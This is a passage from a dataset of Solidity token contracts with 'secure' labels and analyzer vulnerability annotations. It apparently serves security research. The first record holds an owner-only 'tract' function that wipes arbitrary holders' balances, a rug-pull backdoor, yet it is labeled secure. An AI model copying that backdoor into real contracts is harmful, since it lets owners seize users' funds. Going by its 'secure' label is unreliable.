_balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == nature, \"Not allowed\");\n\n _;\n }\n\n function tract(address[] memory notice) public onlyOwner {\n for (uint256 i = 0; i < notice.length; i++) {\n address account = notice[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_42.sol",
"secure": 1,
"size_bytes": 4356
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ICreatorTokenTransferValidator.sol\" as ICreatorTokenTransferValidator;\n\ninterface ICreatorToken {\n event TransferValidatorUpdated(address oldValidator, address newValidator);\n\n function getTransferValidator()\n external\n view\n returns (ICreatorTokenTransferValidator);\n\n function getSecurityPolicy()\n external\n view\n returns (CollectionSecurityPolicy memory);\n\n function getWhitelistedOperators() external view returns (address[] memory);\n\n function getPermittedContractReceivers()\n external\n view\n returns (address[] memory);\n\n function isOperatorWhitelisted(\n address operator\n ) external view returns (bool);\n\n function isContractReceiverPermitted(\n address receiver\n ) external view returns (bool);\n\n function isTransferAllowed(\n address caller,\n address from,\n address to\n ) external view returns (bool);\n}",
"file_name": "solidity_code_420.sol",
"secure": 1,
"size_bytes": 1054
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract TransferValidation is Context {\n error ShouldNotMintToBurnAddress();\n\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: 478b540): TransferValidation._validateBeforeTransfer(address,address,uint256) use msg.value in a loop _preValidateTransfer(_msgSender(),from,to,tokenId,msg.value)\n\t// Recommendation for 478b540: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: c7e16e9): TransferValidation._validateBeforeTransfer(address,address,uint256) use msg.value in a loop _preValidateBurn(_msgSender(),from,tokenId,msg.value)\n\t// Recommendation for c7e16e9: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: 2ff9738): TransferValidation._validateBeforeTransfer(address,address,uint256) use msg.value in a loop _preValidateMint(_msgSender(),to,tokenId,msg.value)\n\t// Recommendation for 2ff9738: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n function _validateBeforeTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n bool fromZeroAddress = from == address(0);\n\n bool toZeroAddress = to == address(0);\n\n if (fromZeroAddress && toZeroAddress) {\n revert ShouldNotMintToBurnAddress();\n } else if (fromZeroAddress) {\n\t\t\t// msg-value-loop | ID: 2ff9738\n _preValidateMint(_msgSender(), to, tokenId, msg.value);\n } else if (toZeroAddress) {\n\t\t\t// msg-value-loop | ID: c7e16e9\n _preValidateBurn(_msgSender(), from, tokenId, msg.value);\n } else {\n\t\t\t// msg-value-loop | ID: 478b540\n _preValidateTransfer(_msgSender(), from, to, tokenId, msg.value);\n }\n }\n\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: 04a4592): TransferValidation._validateAfterTransfer(address,address,uint256) use msg.value in a loop _postValidateBurn(_msgSender(),from,tokenId,msg.value)\n\t// Recommendation for 04a4592: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: f43999d): TransferValidation._validateAfterTransfer(address,address,uint256) use msg.value in a loop _postValidateMint(_msgSender(),to,tokenId,msg.value)\n\t// Recommendation for f43999d: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n\t// WARNING Vulnerability (msg-value-loop | severity: High | ID: adff21d): TransferValidation._validateAfterTransfer(address,address,uint256) use msg.value in a loop _postValidateTransfer(_msgSender(),from,to,tokenId,msg.value)\n\t// Recommendation for adff21d: Provide an explicit array of amounts alongside the receivers array, and check that the sum of all amounts matches 'msg.value'.\n function _validateAfterTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n bool fromZeroAddress = from == address(0);\n\n bool toZeroAddress = to == address(0);\n\n if (fromZeroAddress && toZeroAddress) {\n revert ShouldNotMintToBurnAddress();\n } else if (fromZeroAddress) {\n\t\t\t// msg-value-loop | ID: f43999d\n _postValidateMint(_msgSender(), to, tokenId, msg.value);\n } else if (toZeroAddress) {\n\t\t\t// msg-value-loop | ID: 04a4592\n _postValidateBurn(_msgSender(), from, tokenId, msg.value);\n } else {\n\t\t\t// msg-value-loop | ID: adff21d\n _postValidateTransfer(_msgSender(), from, to, tokenId, msg.value);\n }\n }\n\n function _preValidateMint(\n address caller,\n address to,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n\n function _postValidateMint(\n address caller,\n address to,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n\n function _preValidateBurn(\n address caller,\n address from,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n\n function _postValidateBurn(\n address caller,\n address from,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n\n function _preValidateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n\n function _postValidateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId,\n uint256 value\n ) internal virtual {}\n}",
"file_name": "solidity_code_421.sol",
"secure": 0,
"size_bytes": 5084
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OwnablePermissions.sol\" as OwnablePermissions;\nimport \"./TransferValidation.sol\" as TransferValidation;\nimport \"./ICreatorToken.sol\" as ICreatorToken;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"./ICreatorTokenTransferValidator.sol\" as ICreatorTokenTransferValidator;\n\nabstract contract CreatorTokenBase is\n OwnablePermissions,\n TransferValidation,\n ICreatorToken\n{\n error CreatorTokenBase__InvalidTransferValidatorContract();\n\n error CreatorTokenBase__SetTransferValidatorFirst();\n\n address public constant DEFAULT_TRANSFER_VALIDATOR =\n address(0x0000721C310194CcfC01E523fc93C9cCcFa2A0Ac);\n\n TransferSecurityLevels public constant DEFAULT_TRANSFER_SECURITY_LEVEL =\n TransferSecurityLevels.One;\n\n uint120 public constant DEFAULT_OPERATOR_WHITELIST_ID = uint120(1);\n\n ICreatorTokenTransferValidator private transferValidator;\n\n function setToDefaultSecurityPolicy() public virtual {\n _requireCallerIsContractOwner();\n\n setTransferValidator(DEFAULT_TRANSFER_VALIDATOR);\n\n ICreatorTokenTransferValidator(DEFAULT_TRANSFER_VALIDATOR)\n .setTransferSecurityLevelOfCollection(\n address(this),\n DEFAULT_TRANSFER_SECURITY_LEVEL\n );\n\n ICreatorTokenTransferValidator(DEFAULT_TRANSFER_VALIDATOR)\n .setOperatorWhitelistOfCollection(\n address(this),\n DEFAULT_OPERATOR_WHITELIST_ID\n );\n }\n\n function setToCustomValidatorAndSecurityPolicy(\n address validator,\n TransferSecurityLevels level,\n uint120 operatorWhitelistId,\n uint120 permittedContractReceiversAllowlistId\n ) public {\n _requireCallerIsContractOwner();\n\n setTransferValidator(validator);\n\n ICreatorTokenTransferValidator(validator)\n .setTransferSecurityLevelOfCollection(address(this), level);\n\n ICreatorTokenTransferValidator(validator)\n .setOperatorWhitelistOfCollection(\n address(this),\n operatorWhitelistId\n );\n\n ICreatorTokenTransferValidator(validator)\n .setPermittedContractReceiverAllowlistOfCollection(\n address(this),\n permittedContractReceiversAllowlistId\n );\n }\n\n function setToCustomSecurityPolicy(\n TransferSecurityLevels level,\n uint120 operatorWhitelistId,\n uint120 permittedContractReceiversAllowlistId\n ) public {\n _requireCallerIsContractOwner();\n\n ICreatorTokenTransferValidator validator = getTransferValidator();\n\n if (address(validator) == address(0)) {\n revert CreatorTokenBase__SetTransferValidatorFirst();\n }\n\n validator.setTransferSecurityLevelOfCollection(address(this), level);\n\n validator.setOperatorWhitelistOfCollection(\n address(this),\n operatorWhitelistId\n );\n\n validator.setPermittedContractReceiverAllowlistOfCollection(\n address(this),\n permittedContractReceiversAllowlistId\n );\n }\n\n function setTransferValidator(address transferValidator_) public {\n _requireCallerIsContractOwner();\n\n bool isValidTransferValidator = false;\n\n if (transferValidator_.code.length > 0) {\n try\n IERC165(transferValidator_).supportsInterface(\n type(ICreatorTokenTransferValidator).interfaceId\n )\n returns (bool supportsInterface) {\n isValidTransferValidator = supportsInterface;\n } catch {}\n }\n\n if (transferValidator_ != address(0) && !isValidTransferValidator) {\n revert CreatorTokenBase__InvalidTransferValidatorContract();\n }\n\n emit TransferValidatorUpdated(\n address(transferValidator),\n transferValidator_\n );\n\n transferValidator = ICreatorTokenTransferValidator(transferValidator_);\n }\n\n function getTransferValidator()\n public\n view\n override\n returns (ICreatorTokenTransferValidator)\n {\n return transferValidator;\n }\n\n function getSecurityPolicy()\n public\n view\n override\n returns (CollectionSecurityPolicy memory)\n {\n if (address(transferValidator) != address(0)) {\n return transferValidator.getCollectionSecurityPolicy(address(this));\n }\n\n return\n CollectionSecurityPolicy({\n transferSecurityLevel: TransferSecurityLevels.Zero,\n operatorWhitelistId: 0,\n permittedContractReceiversId: 0\n });\n }\n\n function getWhitelistedOperators()\n public\n view\n override\n returns (address[] memory)\n {\n if (address(transferValidator) != address(0)) {\n return\n transferValidator.getWhitelistedOperators(\n transferValidator\n .getCollectionSecurityPolicy(address(this))\n .operatorWhitelistId\n );\n }\n\n return new address[](0);\n }\n\n function getPermittedContractReceivers()\n public\n view\n override\n returns (address[] memory)\n {\n if (address(transferValidator) != address(0)) {\n return\n transferValidator.getPermittedContractReceivers(\n transferValidator\n .getCollectionSecurityPolicy(address(this))\n .permittedContractReceiversId\n );\n }\n\n return new address[](0);\n }\n\n function isOperatorWhitelisted(\n address operator\n ) public view override returns (bool) {\n if (address(transferValidator) != address(0)) {\n return\n transferValidator.isOperatorWhitelisted(\n transferValidator\n .getCollectionSecurityPolicy(address(this))\n .operatorWhitelistId,\n operator\n );\n }\n\n return false;\n }\n\n function isContractReceiverPermitted(\n address receiver\n ) public view override returns (bool) {\n if (address(transferValidator) != address(0)) {\n return\n transferValidator.isContractReceiverPermitted(\n transferValidator\n .getCollectionSecurityPolicy(address(this))\n .permittedContractReceiversId,\n receiver\n );\n }\n\n return false;\n }\n\n function isTransferAllowed(\n address caller,\n address from,\n address to\n ) public view override returns (bool) {\n if (address(transferValidator) != address(0)) {\n try\n transferValidator.applyCollectionTransferPolicy(\n caller,\n from,\n to\n )\n {\n return true;\n } catch {\n return false;\n }\n }\n\n return true;\n }\n\n function _preValidateTransfer(\n address caller,\n address from,\n address to,\n uint256,\n uint256\n ) internal virtual override {\n if (address(transferValidator) != address(0)) {\n transferValidator.applyCollectionTransferPolicy(caller, from, to);\n }\n }\n}",
"file_name": "solidity_code_422.sol",
"secure": 1,
"size_bytes": 7817
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC721A {\n error ApprovalCallerNotOwnerNorApproved();\n\n error ApprovalQueryForNonexistentToken();\n\n error BalanceQueryForZeroAddress();\n\n error MintToZeroAddress();\n\n error MintZeroQuantity();\n\n error OwnerQueryForNonexistentToken();\n\n error TransferCallerNotOwnerNorApproved();\n\n error TransferFromIncorrectOwner();\n\n error TransferToNonERC721ReceiverImplementer();\n\n error TransferToZeroAddress();\n\n error URIQueryForNonexistentToken();\n\n error MintERC2309QuantityExceedsLimit();\n\n error OwnershipNotInitializedForExtraData();\n\n error SequentialUpToTooSmall();\n\n error SequentialMintExceedsLimit();\n\n error SpotMintTokenIdTooSmall();\n\n error TokenAlreadyExists();\n\n error NotCompatibleWithSpotMints();\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n uint24 extraData;\n }\n\n function totalSupply() external view returns (uint256);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external payable;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external payable;\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external payable;\n\n function approve(address to, uint256 tokenId) external payable;\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n event ConsecutiveTransfer(\n uint256 indexed fromTokenId,\n uint256 toTokenId,\n address indexed from,\n address indexed to\n );\n}",
"file_name": "solidity_code_423.sol",
"secure": 1,
"size_bytes": 2864
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_424.sol",
"secure": 1,
"size_bytes": 268
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\nimport \"./ERC721A__IERC721Receiver.sol\" as ERC721A__IERC721Receiver;\n\ncontract ERC721A is IERC721A {\n struct TokenApprovalRef {\n address value;\n }\n\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant _BITPOS_AUX = 192;\n\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n uint256 private _currentIndex;\n\n uint256 private _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n uint256 private _spotMinted;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _currentIndex = _startTokenId();\n\n if (_sequentialUpTo() < _startTokenId())\n _revert(SequentialUpToTooSmall.selector);\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 1;\n }\n\n function _sequentialUpTo() internal view virtual returns (uint256) {\n return type(uint256).max;\n }\n\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply()\n public\n view\n virtual\n override\n returns (uint256 result)\n {\n unchecked {\n result = _currentIndex - _burnCounter - _startTokenId();\n\n if (_sequentialUpTo() != type(uint256).max) result += _spotMinted;\n }\n }\n\n function _totalMinted() internal view virtual returns (uint256 result) {\n unchecked {\n result = _currentIndex - _startTokenId();\n\n if (_sequentialUpTo() != type(uint256).max) result += _spotMinted;\n }\n }\n\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n function _totalSpotMinted() internal view virtual returns (uint256) {\n return _spotMinted;\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n if (owner == address(0)) _revert(BalanceQueryForZeroAddress.selector);\n\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n\n uint256 auxCasted;\n\n assembly {\n auxCasted := aux\n }\n\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n\n _packedAddressData[owner] = packed;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) _revert(URIQueryForNonexistentToken.selector);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view virtual returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view virtual returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n function _ownershipIsInitialized(\n uint256 index\n ) internal view virtual returns (bool) {\n return _packedOwnerships[index] != 0;\n }\n\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256 packed) {\n if (_startTokenId() <= tokenId) {\n packed = _packedOwnerships[tokenId];\n\n if (tokenId > _sequentialUpTo()) {\n if (_packedOwnershipExists(packed)) return packed;\n\n _revert(OwnerQueryForNonexistentToken.selector);\n }\n\n if (packed == 0) {\n if (tokenId >= _currentIndex)\n _revert(OwnerQueryForNonexistentToken.selector);\n\n for (;;) {\n unchecked {\n packed = _packedOwnerships[--tokenId];\n }\n\n if (packed == 0) continue;\n\n if (packed & _BITMASK_BURNED == 0) return packed;\n\n _revert(OwnerQueryForNonexistentToken.selector);\n }\n }\n\n if (packed & _BITMASK_BURNED == 0) return packed;\n }\n\n _revert(OwnerQueryForNonexistentToken.selector);\n }\n\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n\n ownership.burned = packed & _BITMASK_BURNED != 0;\n\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n function _packOwnershipData(\n address owner,\n uint256 flags\n ) private view returns (uint256 result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n function _nextInitializedFlag(\n uint256 quantity\n ) private pure returns (uint256 result) {\n assembly {\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n function approve(\n address to,\n uint256 tokenId\n ) public payable virtual override {\n _approve(to, tokenId, true);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n if (!_exists(tokenId))\n _revert(ApprovalQueryForNonexistentToken.selector);\n\n return _tokenApprovals[tokenId].value;\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function _exists(\n uint256 tokenId\n ) internal view virtual returns (bool result) {\n if (_startTokenId() <= tokenId) {\n if (tokenId > _sequentialUpTo())\n return _packedOwnershipExists(_packedOwnerships[tokenId]);\n\n if (tokenId < _currentIndex) {\n uint256 packed;\n\n while ((packed = _packedOwnerships[tokenId]) == 0) --tokenId;\n\n result = packed & _BITMASK_BURNED == 0;\n }\n }\n }\n\n function _packedOwnershipExists(\n uint256 packed\n ) private pure returns (bool result) {\n assembly {\n result := gt(\n and(packed, _BITMASK_ADDRESS),\n and(packed, _BITMASK_BURNED)\n )\n }\n }\n\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n function _getApprovedSlotAndAddress(\n uint256 tokenId\n )\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n\n assembly {\n approvedAddressSlot := tokenApproval.slot\n\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n from = address(uint160(uint256(uint160(from)) & _BITMASK_ADDRESS));\n\n if (address(uint160(prevOwnershipPacked)) != from)\n _revert(TransferFromIncorrectOwner.selector);\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n _revert(TransferCallerNotOwnerNorApproved.selector);\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n --_packedAddressData[from];\n\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n uint256 toMasked = uint256(uint160(to)) & _BITMASK_ADDRESS;\n\n assembly {\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, from, toMasked, tokenId)\n }\n\n if (toMasked == 0) _revert(TransferToZeroAddress.selector);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public payable virtual override {\n transferFrom(from, to, tokenId);\n\n if (to.code.length != 0)\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n _revert(TransferToNonERC721ReceiverImplementer.selector);\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n _revert(TransferToNonERC721ReceiverImplementer.selector);\n }\n\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n\n if (quantity == 0) _revert(MintZeroQuantity.selector);\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n uint256 toMasked = uint256(uint160(to)) & _BITMASK_ADDRESS;\n\n if (toMasked == 0) _revert(MintToZeroAddress.selector);\n\n uint256 end = startTokenId + quantity;\n\n uint256 tokenId = startTokenId;\n\n if (end - 1 > _sequentialUpTo())\n _revert(SequentialMintExceedsLimit.selector);\n\n do {\n assembly {\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n } while (++tokenId != end);\n\n _currentIndex = end;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) _revert(MintToZeroAddress.selector);\n\n if (quantity == 0) _revert(MintZeroQuantity.selector);\n\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n _revert(MintERC2309QuantityExceedsLimit.selector);\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n if (startTokenId + quantity - 1 > _sequentialUpTo())\n _revert(SequentialMintExceedsLimit.selector);\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n\n uint256 index = end - quantity;\n\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n _revert(\n TransferToNonERC721ReceiverImplementer.selector\n );\n }\n } while (index < end);\n\n if (_currentIndex != end) revert();\n }\n }\n }\n\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n function _mintSpot(address to, uint256 tokenId) internal virtual {\n if (tokenId <= _sequentialUpTo())\n _revert(SpotMintTokenIdTooSmall.selector);\n\n uint256 prevOwnershipPacked = _packedOwnerships[tokenId];\n\n if (_packedOwnershipExists(prevOwnershipPacked))\n _revert(TokenAlreadyExists.selector);\n\n _beforeTokenTransfers(address(0), to, tokenId, 1);\n\n unchecked {\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(1) |\n _nextExtraData(address(0), to, prevOwnershipPacked)\n );\n\n _packedAddressData[to] += (1 << _BITPOS_NUMBER_MINTED) | 1;\n\n uint256 toMasked = uint256(uint160(to)) & _BITMASK_ADDRESS;\n\n if (toMasked == 0) _revert(MintToZeroAddress.selector);\n\n assembly {\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n\n ++_spotMinted;\n }\n\n _afterTokenTransfers(address(0), to, tokenId, 1);\n }\n\n function _safeMintSpot(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mintSpot(to, tokenId);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 currentSpotMinted = _spotMinted;\n\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n tokenId,\n _data\n )\n ) {\n _revert(TransferToNonERC721ReceiverImplementer.selector);\n }\n\n if (_spotMinted != 